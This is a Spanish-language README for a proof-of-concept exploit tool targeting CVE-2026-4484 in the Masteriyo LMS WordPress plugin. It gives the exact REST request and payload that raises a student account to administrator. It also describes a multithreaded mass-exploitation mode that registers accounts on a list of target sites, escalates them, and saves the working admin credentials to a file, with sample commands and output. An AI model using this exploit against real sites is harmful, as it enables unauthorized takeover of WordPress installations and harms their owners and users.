
Masteriyo LMS <= 2.1.6 - Falta de autorización que permite a usuarios autenticados (Estudiante+) escalar privilegios a Administrador
Masteriyo LMS <= 2.1.6 - Autorización faltante que permite la escalada de privilegios de usuario autenticado (Estudiante+) a Administrador
| Campo | Detalles |
|---|---|
| ID CVE | CVE-2026-4484 |
| Gravedad | ALTA — Puntuación CVSS v3.1: 8.8 |
| Vector | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| Software afectado | Complemento Masteriyo LMS para WordPress |
| Versiones afectadas | Todas las versiones hasta la 2.1.6 inclusive |
| Tipo de vulnerabilidad | Escalada de privilegios (manipulación de roles) |
| Autenticación requerida | Sí — nivel Estudiante o superior |
| CWE | CWE-269: Gestión inadecuada de privilegios |
Descripción:
El complemento Masteriyo LMS para WordPress es vulnerable a la escalada de privilegios en todas las versiones hasta la 2.1.6 inclusive. La vulnerabilidad se origina en la función InstructorsController::prepare_object_for_database, que no restringe adecuadamente la asignación de roles durante las solicitudes a la API REST. Un atacante autenticado con tan solo acceso de nivel Estudiante puede elaborar una solicitud POST especialmente diseñada al endpoint de la API REST de Masteriyo — inyectando "roles": ["administrator"] en el payload de la solicitud — para elevar silenciosamente su cuenta a Administrador de WordPress, logrando la toma completa del sitio sin ninguna interacción administrativa.
Este es un script de explotación de Prueba de Concepto (PoC) dirigido a instalaciones de WordPress que ejecutan una versión vulnerable del complemento Masteriyo LMS. La herramienta admite dos modos de ataque:
| Modo | Nombre | Flujo | Caso de uso |
|---|---|---|---|
| 1 | Nx_1 | Registrarse → Iniciar sesión → Escalar → Verificar Admin | Ataque desde cero — no se necesita cuenta existente |
| 2 | Nx_2 | Iniciar sesión → Escalar → Verificar Admin | Cuenta existente disponible (Estudiante/Instructor) |
[Register / Login as Student]
↓
[Fetch Dashboard Context — user_id + nonce]
↓
[POST /wp-json/masteriyo/v1/users/instructors/{id}]
[Payload: {"roles": ["administrator"]}]
↓
[Re-login with fresh session]
↓
[Verify /wp-admin access → confirmed Administrator]
↓
[Write to Login_admin.txt]
pip install requests urllib3 colorama
O mediante el archivo de requisitos:
pip install -r requirements.txt
requirements.txt:
requests>=2.28.0
urllib3>=1.26.0
colorama>=0.4.6
# Clone the repository
git clone https://github.com/Nxploited/CVE-2026-4484.git
cd CVE-2026-4484
# Install dependencies
pip install -r requirements.txt
# Run the tool
python3 CVE-2026-4484.py
python3 CVE-2026-4484.py
La herramienta utiliza una interfaz de terminal interactiva: todos los parámetros se solicitan en tiempo de ejecución.
Crea un archivo de texto plano (p. ej., list.txt) con un objetivo por línea:
https://target1.com
https://target2.com
http://target3.com/wordpress
Usa este modo cuando no tengas una cuenta existente en el objetivo. La herramienta registra automáticamente una nueva cuenta de estudiante y luego la escala.
Select mode (1=Nx_1, 2=Nx_2) [2]: 1
Targets list file (one host/URL per line) [list.txt]: list.txt
Threads (concurrent sites) [5]: 5
HTTP timeout (seconds) [10]: 10
Username to register (Nx_1) [Nxploited]: Nxploited
Email to use for registration+login (Nx_1) [[email protected]]: [email protected]
Password to use (Nx_1) [Nx_admin]: Nx_admin123!
Pasos realizados automáticamente:
/account/signup/ → extraer nonce de registro/st/ → registrar nueva cuenta como Estudiante/account/ → extraer nonce de inicio de sesión/wp-admin/admin-ajax.php → iniciar sesión mediante Masteriyo AJAX/account/#/dashboard → extraer current_user_id + nonce/wp-json/masteriyo/v1/users/instructors/{id} con {"roles":["administrator"]}Login_admin.txtUsa este modo cuando ya tengas una cuenta válida de Estudiante o Instructor en el objetivo.
Select mode (1=Nx_1, 2=Nx_2) [2]: 2
Targets list file (one host/URL per line) [list.txt]: list.txt
Threads (concurrent sites) [5]: 5
HTTP timeout (seconds) [10]: 10
Username or Email for login+escalation (Nx_2) [admin]: [email protected]
Password for that user: mypassword
Pasos realizados automáticamente:
/account/ → extraer nonce de inicio de sesión/wp-admin/admin-ajax.php → iniciar sesión mediante Masteriyo AJAX/account/#/dashboard → extraer current_user_id + nonce/wp-json/masteriyo/v1/users/instructors/{id} con {"roles":["administrator"]}Login_admin.txt| Archivo | Descripción |
|---|---|
Login_admin.txt | Todas las escaladas a administrador confirmadas |
https://target.com/wp-login.php user:[email protected]|pass:Nx_admin123!
[OK] https://target.com :: LOGIN OK :: success
[OK] https://target.com :: DASHBOARD :: user_id=42 nonce=a1b2c3d4e5
[OK] https://target.com :: ESCALATE SUCCESS :: user_id=42 username=nxploited roles=['administrator']
[OK] https://target.com :: ADMIN SESSION VERIFIED (dashboard + plugin-install access).
POST /wp-json/masteriyo/v1/users/instructors/{user_id}
{
"roles": ["administrator"]
}
Content-Type: application/json
X-WP-Nonce: <extracted_from_dashboard>